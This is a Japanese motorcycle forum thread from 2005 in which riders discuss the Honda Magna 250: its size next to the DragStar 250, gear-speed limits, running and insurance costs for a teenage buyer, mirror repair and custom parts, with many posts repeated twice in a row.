449 ：７７４ＲＲ：2005/05/09(月) 22:56:42 ID:jF1Z+pxp
DS4とマグナ250って車格は見た目同じくらいでつか？
おしえてください
おしえてください
ｧ ∧＿∧ ｧ,､
,､'` ｡ﾟ( ﾟ^∀^ﾟ)ﾟ｡,､'`
'` ( ⊃ ⊂) '`
DS4とマグナ250って全然サイズ違う印象あるけどなぁ。
無論草餅タンクのDS4の方が大きく感じる。(草餅はうまいね)
マグナ250はスレンダー系エロですね。
無論草餅タンクのDS4の方が大きく感じる。(草餅はうまいね)
マグナ250はスレンダー系エロですね。
453 ：７７４ＲＲ：2005/05/10(火) 01:01:07 ID:nuHJu8oZ
見た目は何気に結構ちがいますよ！
並べてみると一目でわかりますよ
並べてみると一目でわかりますよ
カタログ値では大体同じだけど
タンクの大きさの違いやエンジンのサイズが違うから
DS4のほうが大きく見えて当たり前
250はあくまで250
でもDS250のフロンドホイールは最初カブかと（ｒｙ
タンクの大きさの違いやエンジンのサイズが違うから
DS4のほうが大きく見えて当たり前
250はあくまで250
でもDS250のフロンドホイールは最初カブかと（ｒｙ
455 ：７７４ＲＲ：2005/05/10(火) 11:45:22 ID:XRRXlQ2V
針金イパーイw
俺自転車みたいなホイール嫌いなんだよ
457 ：７７４ＲＲ：2005/05/10(火) 12:14:31 ID:XRRXlQ2V
>>456漏れも…
さぁ免許ゲットしたから今日からマグナ250乗ります(^o^)
さぁ免許ゲットしたから今日からマグナ250乗ります(^o^)
楽しんでおいで
もし良かったら、各ギア何km/hまで引っ張っていいか教えてください。
↑そんなの答えられるの？？？
461 ：７７４ＲＲ：2005/05/10(火) 18:42:38 ID:+zrWTPlj
まぁ、アメリカンで、あんまり引っ張るのはｶｺﾖｸﾅｲ。
高音で走らせるより、アノ腹に響く低音がｼﾌﾞｲ。
ｱｲﾄﾞﾘﾝｸﾞなんかも、ﾊﾚみたいに止まりそうで止まらないアノサウンド。
と、スティードからマグナに乗り換え、ﾊﾚから遠ざかったオレが言ってみる。
高音で走らせるより、アノ腹に響く低音がｼﾌﾞｲ。
ｱｲﾄﾞﾘﾝｸﾞなんかも、ﾊﾚみたいに止まりそうで止まらないアノサウンド。
と、スティードからマグナに乗り換え、ﾊﾚから遠ざかったオレが言ってみる。
462 ：７７４ＲＲ：2005/05/10(火) 22:36:32 ID:FA99qxBH
いま普通二輪の教習に通っている者ス。
以前からマグナに乗りたかったのですが、ここを読んでるとますます欲しくなります。
そう、夢はモンキーからの昇格。がんばんぞぉゴラァ！
以前からマグナに乗りたかったのですが、ここを読んでるとますます欲しくなります。
そう、夢はモンキーからの昇格。がんばんぞぉゴラァ！
463 ：７７４ＲＲ：2005/05/11(水) 01:16:35 ID:iGw20uUk
今日免許ゲットしたので乗り回して来ました。o(^o^)>>461 あの低速時に二速か三速でアクセルをジワジワ回すと響く低音！ 「タペタペタペタペタペドッドッドッ」快感っですた～
一応限界を知っておきたくて。
取扱説明書に書いてある数字でいいです。
取扱説明書に書いてある数字でいいです。
あ、同時でしたね。
行ってきます。
行ってきます。
１速 55km/h
２速 85km/h
３速 115km/h
４速 130km/h
でした。
ありがとうございます。
２速 85km/h
３速 115km/h
４速 130km/h
でした。
ありがとうございます。
468 ：７７４ＲＲ：2005/05/11(水) 08:43:39 ID:P5wXrQ0z
脳内補完で間に合わせてます
低ギアで高速だすと、なんだかバイクにとっても悪い気がするのって俺だけ？
>>470低ギアで高速出すのもダメだけど、低速時にあんまり高ギアもダメらしいね。漏れは低速から加速するとき最初一気に高ギアに入れて、加速してまつ。この鼓動がイイ！(・∀・)
まだ免許もとってないけどマグナ250のりたい16ですがなんかどうしたらいいんですか？維持費は月いくらくらいですか？ガソリンあわせて
ボンボンで無い限り、車検は無いとはいえ高校生には勧められません。
つっても、早々時間取れないだろうし年間1万ｋｍ未満とかなら維持費もわずかか。
まぁ、車検も駐車料もいらないから全てが走行距離如何。
つっても、早々時間取れないだろうし年間1万ｋｍ未満とかなら維持費もわずかか。
まぁ、車検も駐車料もいらないから全てが走行距離如何。
いやいや、バイク好きの高校生ってバイト頑張るもんだよ。
俺の維持費は
月１０００ｋｍ
・ガソリン代４８００円（２５ｋｍ/Ｌ）（ガソリン120円/１Ｌ計算）
・オイル３００円（２０００円を半年くらいに一回）
・洗車代２００円（洗車シートやクリーム、スポンジなどの金額を半年くらいで割ると）
・自賠責保険月５００円くらい？（長年加入だと割安）
・各種メンテ費用月１０００円（1年に１回くらいは１万円程度の出費あるので）
というわけで６０００円くらいかな？バイト１日すれば大丈夫な金額。
あとは事故おこさないように心がけることと、バイクに負担かけないように走ることでメンテ費を安くできると思う。
車体も４０万あれば諸費用も全部込みでいけると思う。
というわけで月１３～４万稼げば３ヶ月で買えちゃうわけだね！免許代もいれても４ヶ月後には乗れるようになってるよ。
俺の維持費は
月１０００ｋｍ
・ガソリン代４８００円（２５ｋｍ/Ｌ）（ガソリン120円/１Ｌ計算）
・オイル３００円（２０００円を半年くらいに一回）
・洗車代２００円（洗車シートやクリーム、スポンジなどの金額を半年くらいで割ると）
・自賠責保険月５００円くらい？（長年加入だと割安）
・各種メンテ費用月１０００円（1年に１回くらいは１万円程度の出費あるので）
というわけで６０００円くらいかな？バイト１日すれば大丈夫な金額。
あとは事故おこさないように心がけることと、バイクに負担かけないように走ることでメンテ費を安くできると思う。
車体も４０万あれば諸費用も全部込みでいけると思う。
というわけで月１３～４万稼げば３ヶ月で買えちゃうわけだね！免許代もいれても４ヶ月後には乗れるようになってるよ。
ありがとうございます オレは今のバイトをがんばってつづけていろいれそろえようかなーと思います。がんばれば夏おわる迄にはいけそうっす。あとは事故は気を付けなきゃいけないっすね(´･ω･)
任意とは言え保険を忘れてはいないか？
きつい言い方だけど自分で転んで自分で死ぬのは勝手だけど
その後の処理は誰がする？
自分が死んだ後の葬式だとかを保険に入っていないからと言って全部親任せは感心できない
それにこちらがいくら注意をして乗っても相手の飛び出しや相手から突っ込んでこられても場合によってはこちらの支払いが生じる事も少なくはない
何かの拍子に歩行者をひき殺してでもしたら自賠責だけでは絶対に足りない事が大半だし
それにまだバイクでたまには無茶をしたくなるような年頃だし
任意保険も入っておくべきじゃない？
歳をある程度とって落ち着いた運転ができるようになったら任意保険いらないとも思わないけどね
多分任意保険を16歳で入るとするとリスクの大きさから2倍くらいの値段が掛かると思うから
高めに見積もって年間15万くらいの任意保険料が必要だと思う
最後にあなたは何かの間違いで人交通事故で殺してしまったときに1億や2億を支払えますか？
きつい言い方だけど自分で転んで自分で死ぬのは勝手だけど
その後の処理は誰がする？
自分が死んだ後の葬式だとかを保険に入っていないからと言って全部親任せは感心できない
それにこちらがいくら注意をして乗っても相手の飛び出しや相手から突っ込んでこられても場合によってはこちらの支払いが生じる事も少なくはない
何かの拍子に歩行者をひき殺してでもしたら自賠責だけでは絶対に足りない事が大半だし
それにまだバイクでたまには無茶をしたくなるような年頃だし
任意保険も入っておくべきじゃない？
歳をある程度とって落ち着いた運転ができるようになったら任意保険いらないとも思わないけどね
多分任意保険を16歳で入るとするとリスクの大きさから2倍くらいの値段が掛かると思うから
高めに見積もって年間15万くらいの任意保険料が必要だと思う
最後にあなたは何かの間違いで人交通事故で殺してしまったときに1億や2億を支払えますか？
そうそう、そういう意味もあってボンボンじゃなきゃ駄目。
任意無しでいくとしたら、最低でも車の免許を取ってからにした方がいい。
安全意識、操作技術がまるで違ってくる。
一度思い立つと早々引けない時期だとは思うけど、
今は原付か限定解除にして、とっとと大学入試の勉強した方がいいと思う。
任意無しでいくとしたら、最低でも車の免許を取ってからにした方がいい。
安全意識、操作技術がまるで違ってくる。
一度思い立つと早々引けない時期だとは思うけど、
今は原付か限定解除にして、とっとと大学入試の勉強した方がいいと思う。
乗りたい時期（年齢）に乗るのが一番良いと思うよ。
やりたいことをやって、金が足りないなら働いて稼いだらええやん。
暴走して死んだらアカンけどね…。
おっちゃんは応援してるぞ～。ｶﾞﾝｶﾞﾚ！
やりたいことをやって、金が足りないなら働いて稼いだらええやん。
暴走して死んだらアカンけどね…。
おっちゃんは応援してるぞ～。ｶﾞﾝｶﾞﾚ！
大学入試の前に高校はいってないんですよ。バイトしながら今、音楽事務所にバンドではいってて、月２０万くらいならはいるんです。税金あわせて。任意もはいろうとは思いますが。
>>476-477
今の家庭はほとんど車もってるだろうからファミリーうんたらって任意保険があるじゃん。
あれだったらほとんど金かからないし、そんな声を荒げるようなもんじゃないと思うけど。事故なんて起きるときには起こっちゃうもんだし。
それとボンボンじゃなきゃ無理っていうか、
任意保険の代金って上に書いたファミリー保険の場合親が出すっていうのがほとんどじゃない？
子供に出させるってのが理想のようにも聞こえるけど、高校生には数千円だって負担だし、
内緒で滞納されることを考えれば親が出すのが実情だと思うよ。
そんなわけでボンボンじゃなくてもバイクのる資格は十分にあると思うけどねｗ
任意保険って君達が煽るほど高いもんじゃないし。
大学受験とバイクは別物だし。
高校生でも全然乗っていいと思うよ。まぁ車体も維持費も改造費も親に出してもらいたいっていうならボンボンしか無理だろーけどさｗ
今の家庭はほとんど車もってるだろうからファミリーうんたらって任意保険があるじゃん。
あれだったらほとんど金かからないし、そんな声を荒げるようなもんじゃないと思うけど。事故なんて起きるときには起こっちゃうもんだし。
それとボンボンじゃなきゃ無理っていうか、
任意保険の代金って上に書いたファミリー保険の場合親が出すっていうのがほとんどじゃない？
子供に出させるってのが理想のようにも聞こえるけど、高校生には数千円だって負担だし、
内緒で滞納されることを考えれば親が出すのが実情だと思うよ。
そんなわけでボンボンじゃなくてもバイクのる資格は十分にあると思うけどねｗ
任意保険って君達が煽るほど高いもんじゃないし。
大学受験とバイクは別物だし。
高校生でも全然乗っていいと思うよ。まぁ車体も維持費も改造費も親に出してもらいたいっていうならボンボンしか無理だろーけどさｗ
482 ：７７４ＲＲ：2005/05/13(金) 02:06:50 ID:D+s024KK
マグナ初心者なんですが、オススメなパーツありますか？早めにハンドルは変えたいです。テールも…
手段が目的になっちゃってませんか？
484 ：７７４ＲＲ：2005/05/13(金) 08:57:36 ID:BYDjydl8
ミラーが根元からおれた場合の修理代ってどれくらいですか？
485 ：７７４ＲＲ：2005/05/13(金) 09:03:12 ID:BYDjydl8
素人なんでよくわかりませんが、78あたりのミラーのカキコはみました。
ミラーは左ですが、接続部みたいなもの自体がきれいにすべてふっとんでて、
部品買ってそこを溶接しないとダメな気がするんですが。
ミラーは左ですが、接続部みたいなもの自体がきれいにすべてふっとんでて、
部品買ってそこを溶接しないとダメな気がするんですが。
>>481
ファミリー特約の事だったら１２５cc以下のバイク以外適用されませんよ？
ファミリー特約の事だったら１２５cc以下のバイク以外適用されませんよ？
>>481
それって車の保険でつける原付用のファミリーバイク特約じゃないの？
それは124ccまでだからマグナには無理だし
477のぼんぼんじゃなきゃ駄目って言うのはまぁおかしいと思う
しっかり貯金をして任意保険まで入れた乗り出し価格でマグナを購入とかをすればぜんぜんいけるだろうし
取りあえず自分の任意保険と照らし合わせて
16歳乗り出しのときの任意保険の値段を出してみた
対人：無制限
対物1000万
搭乗者：300万
自損：1500万
無保険者傷害：2億
これで全年齢保険で等級は6A（30%増し）
もしかしたら年齢が16歳と言うことで何かしたら年齢による保険料+がまだあるかも知れない
詳しい事は保険板で聞くなり保険会社に見積もりを取ってもらおう
これで自分の割引率から3割り増しになるように再計算をすると6.7万くらい
これは年払いのときだから
月払いにするとさらに値上がりする
任意は月5000円以上見ておかないと駄目だと思う
それって車の保険でつける原付用のファミリーバイク特約じゃないの？
それは124ccまでだからマグナには無理だし
477のぼんぼんじゃなきゃ駄目って言うのはまぁおかしいと思う
しっかり貯金をして任意保険まで入れた乗り出し価格でマグナを購入とかをすればぜんぜんいけるだろうし
取りあえず自分の任意保険と照らし合わせて
16歳乗り出しのときの任意保険の値段を出してみた
対人：無制限
対物1000万
搭乗者：300万
自損：1500万
無保険者傷害：2億
これで全年齢保険で等級は6A（30%増し）
もしかしたら年齢が16歳と言うことで何かしたら年齢による保険料+がまだあるかも知れない
詳しい事は保険板で聞くなり保険会社に見積もりを取ってもらおう
これで自分の割引率から3割り増しになるように再計算をすると6.7万くらい
これは年払いのときだから
月払いにするとさらに値上がりする
任意は月5000円以上見ておかないと駄目だと思う
10代の通常の補償なら多少しぼっても年額10万越えは当たり前。
人身傷害補償特約は入れなきゃまずいだろうし。
まぁ、ボンボンだけではないな正確には。
どこぞの私大か高卒でいい輩が授業そっちのけでバイトに勤しんでればやれない額ではないが、
好んで低収入の蓋然性が高い方向へ行かせるのは人としてどうかと思ったわけ。
んで、今回は結局高校生では無かったと。
>>481
大学受験とバイクは別物と言い切れるほど、
もまいは高校の頃、自我が確立し節制できてたお子さんだったのかのぅ？
人身傷害補償特約は入れなきゃまずいだろうし。
まぁ、ボンボンだけではないな正確には。
どこぞの私大か高卒でいい輩が授業そっちのけでバイトに勤しんでればやれない額ではないが、
好んで低収入の蓋然性が高い方向へ行かせるのは人としてどうかと思ったわけ。
んで、今回は結局高校生では無かったと。
>>481
大学受験とバイクは別物と言い切れるほど、
もまいは高校の頃、自我が確立し節制できてたお子さんだったのかのぅ？
何荒れてんのｗ
>>480の彼は月２０稼いでるらしいからいいんでない？
４ヶ月くらい我慢して節制すれば頭金と保険込みで何とかなるでしょ
後はローンだけどなｗ 本体も中古なら３０以下だしね
個人的には最初原付取ってマグナ５０ 金貯まったら二輪取って２５０ でも
いいと思うけどね 色々とバイクの事覚えていけるし
>>480の彼は月２０稼いでるらしいからいいんでない？
４ヶ月くらい我慢して節制すれば頭金と保険込みで何とかなるでしょ
後はローンだけどなｗ 本体も中古なら３０以下だしね
個人的には最初原付取ってマグナ５０ 金貯まったら二輪取って２５０ でも
いいと思うけどね 色々とバイクの事覚えていけるし
>>481
なんかボンボンうるさいなw
>>485
雌ネジ部（俗に言うネジ穴）が残ってるならただ単にミラー買えば済む
クラッチレバー根元あたり込みで吹っ飛んでるなら、あんな細かいとこ溶接する手間と金考えたら、新しいの買ったほうがいい
なんかボンボンうるさいなw
>>485
雌ネジ部（俗に言うネジ穴）が残ってるならただ単にミラー買えば済む
クラッチレバー根元あたり込みで吹っ飛んでるなら、あんな細かいとこ溶接する手間と金考えたら、新しいの買ったほうがいい
491 ：７７４ＲＲ：2005/05/13(金) 17:22:53 ID:BYDjydl8
根本あたり込みです。何円ぐらいですかねー。
必死でためて買ったのに、、。
貧乏学生なんで、厳しいですね。
必死でためて買ったのに、、。
貧乏学生なんで、厳しいですね。
492 ：７７４ＲＲ：2005/05/13(金) 19:46:30 ID:JRYIrPEf
流石ニーハンは貧乏人率高いな
すまん
ageてしまった('A`)
ageてしまった('A`)
ニーハンのニーチャンはニーチャンネラー
バーハンのバーチャンはバーチャンネラー？
| | ∧
|＿|Дﾟ) 近所のバイク屋にマグナ入荷してた
|欲|⊂）
|￣|∧|
￣￣￣￣￣
|＿|Дﾟ) 近所のバイク屋にマグナ入荷してた
|欲|⊂）
|￣|∧|
￣￣￣￣￣
マグナ契約してきました・・しかし、
店員「あまり生産されてないみたいですね～、納車は6月上旬くらいになりますけど・・」
首を長ーくてして待ちますよ、ええo―――rz
店員「あまり生産されてないみたいですね～、納車は6月上旬くらいになりますけど・・」
首を長ーくてして待ちますよ、ええo―――rz
よーし、パパその首ちょんぎっちゃうぞぉー
499 ：７７４ＲＲ：2005/05/15(日) 11:46:00 ID:Qyk5wIIW
お、俺も
500 ：７７４ＲＲ：2005/05/15(日) 13:52:01 ID:t6CF1Ra1
軽やかに500ｹﾞｯﾂ!!
501 ：マグナ250カコイイ：2005/05/15(日) 16:03:35 ID:+hiM3SrZ
久々に高知500ヘトー
ヾ( ´ー｀)ノ~
ヾ( ´ー｀)ノ~
じゃあ逆に、ここが嫌いってとこは？
503 ：７７４ＲＲ：2005/05/15(日) 20:07:29 ID:uvz5f2uH
マグナ～イイ！
すり抜けが難しい！他の車種にくらべて
>>501 ちゃんとﾘﾛｰﾄﾞ汁w
２ゲト
508 ：マグナ大使 ◆V4magnaNnI ：2005/05/16(月) 22:31:13 ID:3uC4Geqr
間違われてってか250マグナじゃん
上り坂には弱いよね。前山行ったらフルスロで６０ｋｍで皆に置いてかれたよ
511 ：マグナ大使 ◆V4magnaNnI ：2005/05/16(月) 22:59:24 ID:3uC4Geqr
>>509
俺のマグナはコレ↓＾＾
http://2st.dip.jp/futaba/src/1115466626252.jpg
http://2st.dip.jp/futaba/src/1115466801003.jpg
俺のマグナはコレ↓＾＾
http://2st.dip.jp/futaba/src/1115466626252.jpg
http://2st.dip.jp/futaba/src/1115466801003.jpg
513 ：マグナ大使 ◆V4magnaNnI ：2005/05/17(火) 00:03:28 ID:RU5kvHAG
>>512
Ｖ４は全国の赤男爵でたぶん６台ぐらいはあるはず…!?オジサンに人気あったから
程度はどれもいいらしいよ～
俺のは1オーナー、10年落ちで走行9500ｷﾛやったし～
買って半年になるけど、未だに乗ってる人を見かけた事がないなぁ～（ﾟ∀ﾟ；）
赤は結構、目立つと思うよ～
Ｖ４は全国の赤男爵でたぶん６台ぐらいはあるはず…!?オジサンに人気あったから
程度はどれもいいらしいよ～
俺のは1オーナー、10年落ちで走行9500ｷﾛやったし～
買って半年になるけど、未だに乗ってる人を見かけた事がないなぁ～（ﾟ∀ﾟ；）
赤は結構、目立つと思うよ～
漏れもV4欲しい(´Д｀；)でも免許がない…orz
バロン全店でも数台かぁ。やっぱり少ないんですね。
まあ珍車というのも買う理由の一つですが…
V45も、跳ね上げ4本出しマフラー＋リアビューで○が8個、
ってのがかっこいいけど、更に見つからないようですね。
>>514
金と時間作って免許取り！はよ免許取り！(ﾊﾞﾝﾊﾞﾝ
まあ珍車というのも買う理由の一つですが…
V45も、跳ね上げ4本出しマフラー＋リアビューで○が8個、
ってのがかっこいいけど、更に見つからないようですね。
>>514
金と時間作って免許取り！はよ免許取り！(ﾊﾞﾝﾊﾞﾝ
ttp://www.honda.co.jp/news/1987/2870320m.html (V45マグナ/RC28)
ttp://www.honda.co.jp/news/1993/2930622.html (マグナ/RC43)
ttp://www.honda.co.jp/news/1994/2940722.html (マグナ･RS/RC43)
ttp://www.honda.co.jp/news/1994/2940603.html (Vツインマグナ/MC29)
ttp://www.honda.co.jp/news/1996/296051.html (Vツインマグナ･S/----)
ttp://www.honda.co.jp/news/1995/2950420.html (マグナ フィフティ/A-AC13
Vツインから劇的に近未来的で特徴的な造型になった事が気になる。
V4のごつさも好きなんだけど、
Vツインの形で400や750が出たら、正直欲しい。
ttp://www.honda.co.jp/news/1993/2930622.html (マグナ/RC43)
ttp://www.honda.co.jp/news/1994/2940722.html (マグナ･RS/RC43)
ttp://www.honda.co.jp/news/1994/2940603.html (Vツインマグナ/MC29)
ttp://www.honda.co.jp/news/1996/296051.html (Vツインマグナ･S/----)
ttp://www.honda.co.jp/news/1995/2950420.html (マグナ フィフティ/A-AC13
Vツインから劇的に近未来的で特徴的な造型になった事が気になる。
V4のごつさも好きなんだけど、
Vツインの形で400や750が出たら、正直欲しい。
だなぁ、それまでは結構正統派なアメリカンだけど、
Ｖツインから独特なアメリカン、むしろアメリカンの称号さえも少々剥離気味だしね。
Ｖ４５もＲＣ４３も初めて見たけど、いいねこれ。
Ｖツインユーザーのステップアップ版としてそのまま客流れそうだし、復刻して欲しいなぁ。
Ｖツインから独特なアメリカン、むしろアメリカンの称号さえも少々剥離気味だしね。
Ｖ４５もＲＣ４３も初めて見たけど、いいねこれ。
Ｖツインユーザーのステップアップ版としてそのまま客流れそうだし、復刻して欲しいなぁ。
Vツインマグナとドラッグスター250のどちらかを買おうと思っているんですが、
加速性能・最高速度・100～140km近く出している時の安定性(160cm55kgとして)はどっちのが上なんですかね。
加速性能・最高速度・100～140km近く出している時の安定性(160cm55kgとして)はどっちのが上なんですかね。
まだ所持もしてないのに好き勝手書いて失礼します('A｀)
>>517
Vツインはあのデザインであの代表カラー(銀)っていうのも絶妙･･･
またマフラーが美しい。全体デザイン・バランスが完璧過ぎる。
だからどこか歪みのあるナナハンのデザインには食指が動かない
Vツイニストの方が多いんじゃないかな。なんて推測。
かく言う俺は原付野郎ですが実車見るまで750マグナ？(ﾟДﾟ)ﾊｧ?ですた。
>>518
VツインとDS250、加速とかの性能はどうか知らんけど
町で見かけたら嬉しいのはVツインだなぁ。かっちょええ。
>>517
Vツインはあのデザインであの代表カラー(銀)っていうのも絶妙･･･
またマフラーが美しい。全体デザイン・バランスが完璧過ぎる。
だからどこか歪みのあるナナハンのデザインには食指が動かない
Vツイニストの方が多いんじゃないかな。なんて推測。
かく言う俺は原付野郎ですが実車見るまで750マグナ？(ﾟДﾟ)ﾊｧ?ですた。
>>518
VツインとDS250、加速とかの性能はどうか知らんけど
町で見かけたら嬉しいのはVツインだなぁ。かっちょええ。
>>518
女性がアメリカン乗ってるのってかっこいいよね。
女性がアメリカン乗ってるのってかっこいいよね。
521 ：マグナ250乗りより：2005/05/18(水) 00:01:23 ID:2w/M5Djk
>>518マグナは迫力のある車体、存在感、V-ツインならではの鼓動感などや、大型クラスの車格など、 町中で見かけると魅とれてしまいます´Д｀*) DSは知りませんがマグナ250で140km出したらとんでもない事になると思いますw 俺のマグナは高速で最高120ですた
すみません。あげてました(-人-) sageマス
昨日も初心者購入相談スレに行った時も日本人？だの女だの山田優だの言われましたが男ですぜ…小さくて悪かったな…orz
>>519-522
レスサンクス。
VツインのスレだからかVツインカケーな人が多いっすね。
デザインはどちらも好きですが(ネットで見る限り)ドラッグスターは前から見ると情けないっすね。
あとはVツインマグナは鳥みたいな形の立体になってるエンブレムがかっこいいっすね。
>>521
とんでもない事に…
まあ120出れば普通に乗る分に困らないと思うので、問題無いですかね
こっちのが乗ってる人も少なさそうなのでこっちを探すついでにドラッグスターもあったら見てみようかな。
ところでこれってまだ新車出回ってますよね？エリアは横浜です。
>>519-522
レスサンクス。
VツインのスレだからかVツインカケーな人が多いっすね。
デザインはどちらも好きですが(ネットで見る限り)ドラッグスターは前から見ると情けないっすね。
あとはVツインマグナは鳥みたいな形の立体になってるエンブレムがかっこいいっすね。
>>521
とんでもない事に…
まあ120出れば普通に乗る分に困らないと思うので、問題無いですかね
こっちのが乗ってる人も少なさそうなのでこっちを探すついでにドラッグスターもあったら見てみようかな。
ところでこれってまだ新車出回ってますよね？エリアは横浜です。
ん～。俺とは地域が違うな(^-^;誰か答えてやってくれぃ！！
>>523
小さい人がアメリカンに乗るとバイクが更に大きく見えてかっこいいじゃないですか。
小さい人がアメリカンに乗るとバイクが更に大きく見えてかっこいいじゃないですか。
♀(25)ですが、このあいだ職場の男二人にマイマグナ見せたら、すごい羨ましがられた♪
一人は４輪派で、私がバイクに目覚めたことに文句ばっか言ってたのに。
その前は、早朝コンビニに行ったらバイトのﾆｰｻﾝが口あけて見てて、
レジではいやらしそうにすごい話しかけたそうだった。
私はクール（を装い）速やかに発進しましたが。
そういうときって、なんか『勝った』って感じがする。
マグナにしてよかったって、うれしくなりマス。
一人は４輪派で、私がバイクに目覚めたことに文句ばっか言ってたのに。
その前は、早朝コンビニに行ったらバイトのﾆｰｻﾝが口あけて見てて、
レジではいやらしそうにすごい話しかけたそうだった。
私はクール（を装い）速やかに発進しましたが。
そういうときって、なんか『勝った』って感じがする。
マグナにしてよかったって、うれしくなりマス。
>>523
その立体エンブレムが最新版だと思う。あれいいねぇ。
でも、丸にブーメランが刺さった様な、いわゆるマグナマークも
いいんだよなぁ。
>>525
乗り手があんまりでかいと↓こうなるからなぁ･･･
ttp://www.motorcyclecruiser.com/roadtests/Musclebikes/
仮にも750ccのV4マグナが原付のようだ(汗
その立体エンブレムが最新版だと思う。あれいいねぇ。
でも、丸にブーメランが刺さった様な、いわゆるマグナマークも
いいんだよなぁ。
>>525
乗り手があんまりでかいと↓こうなるからなぁ･･･
ttp://www.motorcyclecruiser.com/roadtests/Musclebikes/
仮にも750ccのV4マグナが原付のようだ(汗
>>526小学生、中学生、同級生、高校生、若者、はたまたオジさんオバさんなどなど… みんなマグナを見て来ますよね('-'*) なんかその「勝った」って気持ち良く分かりますよw
>>527
ｳﾎｯ！ ﾏｸﾞｿどころかV-RODも小っちぇぇー！
>>526
ﾏｸﾞｿは女の子が乗るとﾎﾝﾄｶｺｲｲ！
自分がﾏｸﾞﾅ乗りだからっていうわけじゃなくて、女の子がﾋﾞｼｯと乗ってる
姿を見ると、それだけで惚れそうになる。
確かに色んな人に見られるけど、一番人気はやっぱりおっちゃんだなw
女子高生なんぞに見られたことは一度も無い…
やっぱり漏れがｵｻｰﾝだからか…orz
ｳﾎｯ！ ﾏｸﾞｿどころかV-RODも小っちぇぇー！
>>526
ﾏｸﾞｿは女の子が乗るとﾎﾝﾄｶｺｲｲ！
自分がﾏｸﾞﾅ乗りだからっていうわけじゃなくて、女の子がﾋﾞｼｯと乗ってる
姿を見ると、それだけで惚れそうになる。
確かに色んな人に見られるけど、一番人気はやっぱりおっちゃんだなw
女子高生なんぞに見られたことは一度も無い…
やっぱり漏れがｵｻｰﾝだからか…orz
530 ：まぁぐなぁ～：2005/05/19(木) 11:29:30 ID:E+e8G3JR
今現在、普通二輪免許を取りにいっていて、取れたらマグナに乗りたいと思ってます。
いろいろ調べていたら、マグナ250とブイツインマグナっていうのがあるらしいんですが、
違いがさっぱりです。実際、どうなんでしょう？
いろいろ調べていたら、マグナ250とブイツインマグナっていうのがあるらしいんですが、
違いがさっぱりです。実際、どうなんでしょう？
>>528-529
気持ちイイですよねー！見られると♪
これからもカッコよさを極めるべく、マナー・運転技術を磨きます！
あ、もちろん外観もネ！
>>530
マグナ250とV-TWINマグナ？？どちらも同じものですよ。250cc。
マグナはあと50ccもあります。
http://www.honda.co.jp/motor-lineup/magna50/index.html
気持ちイイですよねー！見られると♪
これからもカッコよさを極めるべく、マナー・運転技術を磨きます！
あ、もちろん外観もネ！
>>530
マグナ250とV-TWINマグナ？？どちらも同じものですよ。250cc。
マグナはあと50ccもあります。
http://www.honda.co.jp/motor-lineup/magna50/index.html
532 ：まぁぐなぁ～：2005/05/19(木) 11:47:01 ID:E+e8G3JR
＞531
新参者にも即レスありがとうございます。
同じものだったんですか。疑問がようやく解けました。
がんばって免許とります！
新参者にも即レスありがとうございます。
同じものだったんですか。疑問がようやく解けました。
がんばって免許とります！
533 ：７７４ＲＲ：2005/05/19(木) 12:39:27 ID:rEhbxdYH
自意識過剰な人が集まるスレはここですか？
534 ：荒らしはスルーで(`・ω・´)：2005/05/19(木) 14:53:47 ID:/oi+/wMo
>>530免許取得頑張って下さいo(^o^)o マグナ250、V-TWIN MAGNAどちらも同じ「マグナの250cc」です。V-TWINエンジンを積んでるマグナだからV-TWIN MAGNA、ただ単にマグナの250ccだからマグナ250と言う風に…
もうすぐ免許が取れるのでバイクを買おうと思っているんですが、
マグナは２半アメリカンの中では性能(?)・高級感などのバランスが一番良さそうで、
立体のエンブレムも格好良いので、マグナにバイク童貞を捧げようと思っていて、バイク知識も無く中古で外れ引いたら怖いので新車を買おうと思っていたんですが、
テンプレサイトのマシーン紹介にあったtp://www.mag-s.net/party/machines/nozomu.htmこの改造車に惚れてしまい、
自分もクラシック風で車高の低く街乗りしてて優越感に浸れるようなバイクを作りたいな、と思ったんですが
新車で買ってパーツを交換すると元のパーツが無駄になると思うんですが、中古で作りたいバイクに近い物を探して、
それを目標に近いバイクに改造したほうが無駄なパーツが出ないでいいんですかね？
とりあえず最終目標はロングシーシーバーとシーシーバーパットは買い物とかで荷物乗っけられるようにとエンブレムは安そうなのですぐ買うとして、
○クラシックフロント・リアフェンダー(クラシック風カコイイ)
○SHADOW純正 弾丸ヘッドライト（目がでかいらしい）
○フォグランプ（３つ目にしたくなったら）
○ホーン（クラクションの音）
○サスペンション(ダウンサス、車高ダウン？）
○マフラー(高い…。バズーカ型？直線の奴。あれがカコイイ)
○サイドバック(金に余裕あって、買い物等で荷物が持ちきれなかったら)
○ワイドハンドル(操作慣れて、欲しくなったら)
こんな感じにしたい(途中でパーツ追加したりするかも…)んですが、新車と中古で近い条件のバイク探すのどっちがいいですかね？
それと、中古にするとしたら何処らへんを見ていいバイクか悪いバイクか判断するといいんですかね？
レスお願いします。
マグナは２半アメリカンの中では性能(?)・高級感などのバランスが一番良さそうで、
立体のエンブレムも格好良いので、マグナにバイク童貞を捧げようと思っていて、バイク知識も無く中古で外れ引いたら怖いので新車を買おうと思っていたんですが、
テンプレサイトのマシーン紹介にあったtp://www.mag-s.net/party/machines/nozomu.htmこの改造車に惚れてしまい、
自分もクラシック風で車高の低く街乗りしてて優越感に浸れるようなバイクを作りたいな、と思ったんですが
新車で買ってパーツを交換すると元のパーツが無駄になると思うんですが、中古で作りたいバイクに近い物を探して、
それを目標に近いバイクに改造したほうが無駄なパーツが出ないでいいんですかね？
とりあえず最終目標はロングシーシーバーとシーシーバーパットは買い物とかで荷物乗っけられるようにとエンブレムは安そうなのですぐ買うとして、
○クラシックフロント・リアフェンダー(クラシック風カコイイ)
○SHADOW純正 弾丸ヘッドライト（目がでかいらしい）
○フォグランプ（３つ目にしたくなったら）
○ホーン（クラクションの音）
○サスペンション(ダウンサス、車高ダウン？）
○マフラー(高い…。バズーカ型？直線の奴。あれがカコイイ)
○サイドバック(金に余裕あって、買い物等で荷物が持ちきれなかったら)
○ワイドハンドル(操作慣れて、欲しくなったら)
こんな感じにしたい(途中でパーツ追加したりするかも…)んですが、新車と中古で近い条件のバイク探すのどっちがいいですかね？
それと、中古にするとしたら何処らへんを見ていいバイクか悪いバイクか判断するといいんですかね？
レスお願いします。
すごい肺活量だね
>>536
淡々と面白いことを・・・・ｗ
淡々と面白いことを・・・・ｗ
538 ：７７４ＲＲ：2005/05/19(木) 21:03:39 ID:R41MTDty
五年乗り続けたV-TWINマグナを降りることになりました。
ＤＳ250と悩んだけどこのバイクで正解でした。
今までお世話になりました～
ＤＳ250と悩んだけどこのバイクで正解でした。
